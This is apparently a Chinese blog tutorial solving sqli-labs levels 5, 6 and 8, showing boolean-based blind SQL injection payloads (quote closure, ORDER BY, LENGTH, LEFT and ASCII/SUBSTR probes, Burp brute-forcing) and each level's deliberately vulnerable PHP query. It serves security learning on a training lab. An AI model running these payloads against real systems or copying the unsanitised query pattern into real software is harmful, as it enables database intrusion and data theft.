sqli-labs 通关指南:Less 5、6、8

Less 5、6、7 都是基于 bool 注入的关卡,基本思想是利用函数提取出查询结果字符串的各个字符,利用回显信息依次判断原字符是什么。

Less-5#

GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

Copy Highlighter-hljs
?id=1


接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

Copy Highlighter-hljs
?id=9999


判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回报错信息。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。

Copy Highlighter-hljs
?id=1'

获取数据库信息#

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

Copy Highlighter-hljs
?id=1' ORDER BY 3--+


测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。

Copy Highlighter-hljs
?id=1' ORDER BY 4--+


得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

Copy Highlighter-hljs
?id=1' AND LENGTH((SELECT database()))>5--+


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
?id=1' AND LENGTH((SELECT database()))=8--+


获取数据库名,此处不适合用 UNION 联合查询。我们使用 left() 函数,left(string,num) 函数返回字符串 string 最左边的 num 个字符。我们首先使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

Copy Highlighter-hljs
?id=1' AND LEFT((SELECT database()), 1)='a' --+


这里可以打开 burp 抓包,然后把抓到的包送到测试器,选择字符 a 的部分为有效负载。

数据库名可能由大小写字母、数字和下划线组成,我们在有效载荷添加这些内容。

进行攻击,得出数据库名的第一个字符为 “s”。

接下来判断数据库名的第二位是什么字符,还是使用 left() 函数进行。

Copy Highlighter-hljs
?id=1' AND LEFT((SELECT database()), 2)='sa' --+


使用 burp 进行攻击,得出数据库名的第二个字符为 “e”。

最终得出数据库名为 “scurity”,使用同样的方法继续爆破表名、字段名及其剩余信息。

Copy Highlighter-hljs
?id=1' AND LEFT((SELECT database()), 8)='security' --+

关卡 SQL 查询语句#

Copy Highlighter-hljs
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="3" color="#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

Less-6#

GET-Double Injection-Double Quotes-String(双注入 GET 双引号字符型注入)

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

Copy Highlighter-hljs
?id=1


接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入

Copy Highlighter-hljs
?id=9999


判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页返回 “You are in...”。

Copy Highlighter-hljs
?id=1'


注入个双引号进行闭合,网页返回错误。这说明网页存在 Sql 注入漏洞,并且是用双引号字符型注入。

Copy Highlighter-hljs
?id=1"

获取数据库信息#

Less 6 和 Less 5 类似,不同在于 Less 6 使用双引号进行闭合。判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

Copy Highlighter-hljs
?id=1" ORDER BY 3--+


测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。

Copy Highlighter-hljs
?id=1" ORDER BY 4--+


得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

Copy Highlighter-hljs
?id=9999" OR LENGTH((SELECT database()))>5--+


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
?id=9999" OR LENGTH((SELECT database()))=8--+


获取数据库名时,我们可以使用上述方法,这里也展示另外一种注入方法。substr() 函数用于截取字符串,substr(string,start,length) 函数的 string 为被截取的字符串,start 为起始位置,length 为截取长度。ASCII() 函数返回字符的 ASCII 码值,大致思路是使用 substr() 函数截取数据库名的每个字符,然后判断这个字符的 ASCII 码值。

Copy Highlighter-hljs
?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))>109--+


使用二分法进行测试,最后得出数据库名的第一个字符 ASCII 码值为 115。

Copy Highlighter-hljs
?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))=115--+


使用相同方法依次得出剩下的字符 ASCII 码值,连接在一起就是数据库名。

Copy Highlighter-hljs
?id=9999" OR ASCII(SUBSTR((SELECT database()),2,1))=102--+

关卡 SQL 查询语句#

Copy Highlighter-hljs
$id = '"'.$id.'"'; $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="3" color= "#FFFF00">'; print_r(mysql_error()); echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

Less 8#

GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)

判断注入类型#

首先注入正确的参数,网页返回 “You are in...”,但是没有其他信息。

Copy Highlighter-hljs
?id=1


接下来注入个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。

Copy Highlighter-hljs
?id=9999


判断是否有 Sql 注入漏洞,注入个单引号进行闭合,网页无任何返回。

Copy Highlighter-hljs
?id=1'


此时还是注入单引号,但是把后面的内容注释掉,网页返回 “You are in...”。这说明网页存在 Sql 注入漏洞,并且是用单引号字符型注入。同时因为 Sql 语句发生错误时也不报错,因此此处是 bool 盲注漏洞。

Copy Highlighter-hljs
?id=1'--+

获取数据库信息#

和 Less 5 不同在于 Less 8 查询发生错误时不会报错,不过基本的操作与 Less 5 类似。首先判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。返回 “You are in...”,说明表至少有 3 行。

Copy Highlighter-hljs
?id=1' ORDER BY 3--+


测试到第 4 列未返回 “You are in...”,说明表中一共有 3 列。

Copy Highlighter-hljs
?id=1' ORDER BY 4--+


得出数据库名的长度,网页只会有返回 “You are in...” 和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度。

Copy Highlighter-hljs
?id=1' AND LENGTH((SELECT database()))>5--+


经过二分法测试,得出数据库长度为 8。

Copy Highlighter-hljs
?id=1' AND LENGTH((SELECT database()))=8--+


使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a。

Copy Highlighter-hljs
?id=1' AND LEFT((SELECT database()), 1)='a' --+


这里可以打开 burp 抓包,爆破得出数据库名的第一个字符为 “s”。

Copy Highlighter-hljs
?id=1' AND LEFT((SELECT database()), 1)='s' --+


使用相同方法爆出数据库名,接着继续爆破表名、字段名及其剩余信息。

关卡 SQL 查询语句#

Copy Highlighter-hljs
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '<font size="5" color="#FFFF00">'; echo 'You are in...........'; echo "<br>"; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }
posted @   乌漆WhiteMoon  阅读(1362)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS